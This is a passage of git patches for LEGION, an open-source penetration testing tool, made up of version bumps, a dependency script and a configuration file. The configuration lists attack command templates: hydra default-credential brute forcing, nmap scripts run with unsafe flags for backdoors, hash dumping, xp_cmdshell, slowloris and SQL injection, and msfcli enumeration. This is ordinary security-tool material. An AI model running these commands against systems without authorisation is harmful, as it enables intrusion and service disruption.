controller/controller.py | 4 ++-- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 809c30da..7abe85c0 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,3 +1,8 @@ +LEGION 0.3.3 + +* Fix hydra 8.7+ issues +* Fix minor UI update issues + LEGION 0.3.2 * Stage 3 is now vulners scan diff --git a/controller/controller.py b/controller/controller.py index 4c9ea2c2..ecad18c8 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -27,8 +27,8 @@ class Controller(): @timing def __init__(self, view, logic): self.name = "LEGION" - self.version = '0.3.2' - self.build = '1551216508' + self.version = '0.3.3' + self.build = '1551233452' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] From 983ed00d5273ea1008a983782a51057205223a95 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 27 Feb 2019 11:44:25 -0600 Subject: [PATCH 160/450] Added hping3 to deps, removed snmpcheck and smtp-enum from schedulers and renamed severity to cvss score --- controller/controller.py | 4 +- deps/installDeps.sh | 2 +- legion.conf | 2 - legion.conf.orig | 317 +++++++++++++++++++++++++++++++++++++++ ui/view.py | 6 +- 5 files changed, 323 insertions(+), 8 deletions(-) create mode 100644 legion.conf.orig diff --git a/controller/controller.py b/controller/controller.py index ecad18c8..cbd6f8a7 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,12 +28,12 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.3' - self.build = '1551233452' + self.build = '1551289424' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] self.emails = [] - self.update = '02/26/2019' + self.update = '02/27/2019' self.license = "GPL v3" self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." self.smallIcon = './images/icons/Legion-N_128x128.svg' diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 0c960436..4f06ac05 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -7,4 +7,4 @@ echo "Checking Apt..." runAptGetUpdate echo "Installing deps..." -apt-get -yqqq install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog -y +apt-get -yqqq install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 -y diff --git a/legion.conf b/legion.conf index 242bf2a3..e7728283 100644 --- a/legion.conf +++ b/legion.conf @@ -297,9 +297,7 @@ oracle-default=oracle-tns, tcp postgres-default=postgresql, tcp screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp smbenum=microsoft-ds, tcp -smtp-enum-vrfy=smtp, tcp snmp-default=snmp, udp -snmpcheck=snmp, udp x11screen=X11, tcp [StagedNmapSettings] diff --git a/legion.conf.orig b/legion.conf.orig new file mode 100644 index 00000000..242bf2a3 --- /dev/null +++ b/legion.conf.orig @@ -0,0 +1,317 @@ +[BruteSettings] +default-password=password +default-username=root +no-password-services="oracle-sid,rsh,smtp-enum" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +password-wordlist-path=/usr/share/wordlists/ +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ + +[GUISettings] +process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,554,100" +process-tab-detail=False + +[GeneralSettings] +default-terminal=gnome-terminal +enable-scheduler=True +enable-scheduler-on-import=False +max-fast-processes=5 +max-slow-processes=5 +screenshooter-timeout=15000 +tool-output-black-background=False +web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" + +[HostActions] +icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] +nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" +nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" +nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" +nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v + +[PortActions] +banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", +broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql +citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix +citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix +citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix +dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" +enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" +finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger +ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp +ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp +ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp +ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp +ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp +http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" +http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" +http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" +http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" +http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" +http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" +http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" +http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" +http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" +http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" +http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" +http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" +http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" +http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" +http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" +http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" +http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" +http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" +http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" +http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" +http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" +http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" +http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" +http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" +http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" +http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" +http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" +http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" +http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" +http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" +http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" +http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" +http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" +http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" +http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" +http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" +http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" +http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" +http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" +http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" +http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" +http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" +http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" +http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" +http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" +http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" +http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" +http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" +http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" +http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" +http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" +http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" +http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" +http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" +http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" +http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" +http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" +http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" +http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" +http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" +http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" +http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" +http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" +http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" +http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" +http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" +http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" +http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" +http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" +http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" +http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" +http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" +http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" +http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" +http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" +http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" +http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" +http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" +http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" +http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" +http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" +http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" +http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" +http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" +http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" +http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" +http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" +imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap +imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap +irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc +irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc +irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc +irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc +irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc +ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap +membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" +ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql +ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql +ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql +ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql +ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql +ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql +ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql +ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql +ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql +ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql +msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc +mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql +mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql +mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql +mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql +mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql +mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql +mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql +mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql +mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql +mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql +mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql +nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns +nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs +nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs +nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs +nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" +nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], +oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle +oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle +oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns +oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle +oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' +oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle +oracle-version=Get version, "msfcli 